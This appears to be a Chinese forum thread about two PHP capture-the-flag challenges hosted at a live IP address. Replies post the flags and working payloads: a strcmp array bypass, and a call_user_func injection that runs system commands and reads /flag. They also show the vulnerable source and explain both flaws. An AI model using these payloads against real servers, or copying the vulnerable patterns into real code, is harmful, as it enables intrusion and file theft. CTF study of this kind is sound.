两道 PHP 题目，都是求 flag 值

[yxzblue]

1 、http://106.15.186.69:8061/

2 、http://106.15.186.69:8097/

[virusdefender]

ctf 老技巧了

[Anakin078]

flag{c4ca4238a0b923820dcc509a6f75849b}
flag{19a0664d0b3d997318f6e4940240e91c}

[Anakin078]

网络安全这么好玩，不去学一下吗 hhh

[user20190708]

1.
/?1=hacker&2[]=%0
flag{c4ca4238a0b923820dcc509a6f75849b}

2.
/?a=system&b=find%20/%20-name%20"*flag*"
/?a=read&b=/flag
flag{19a0664d0b3d997318f6e4940240e91c}

[aloxaf]

拿去考了一下 AI ，发现 claude 3.5 真的不错，第一题准确判断出了是 strcmp 的参数漏洞，其他都都让我输入 flag……

[ahu]

第一题：

<?php
highlight_file(__FILE__);
include('flag.php');
$g = $_GET['1'];
if (preg_match('/^hacker$/im', $g)) {
if (strcmp($_GET['2'],$flag) == 0) {
echo $flag;
}
}
?>

考的是 strcmp 的漏洞：弱类型转换后 null == 0 。

strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

第二题：

<?php
highlight_file(__FILE__);

function scan($directory){
return var_dump(scandir($directory));
}

function read($f){
echo file_get_contents($f);
}

call_user_func($_GET['a'], $_GET['b']);

?>

考的是 call_user_func 的漏洞：如果直接将用户输入的内容作为参数，则可以执行任意命令。
先用 ?a=scan&b=/ 找出 flag 文件，然后用 ?a=read&b=/flag 读出 flag 文件内容

[yxzblue]

感谢，提供思路

[vevlins]

楼上说 ai 的那位给了启发，感觉 ai 还是可以的，我把代码给了 kimi ，两个问题都给出了问题点，稍微搜索一下对应知识点就找到了答案。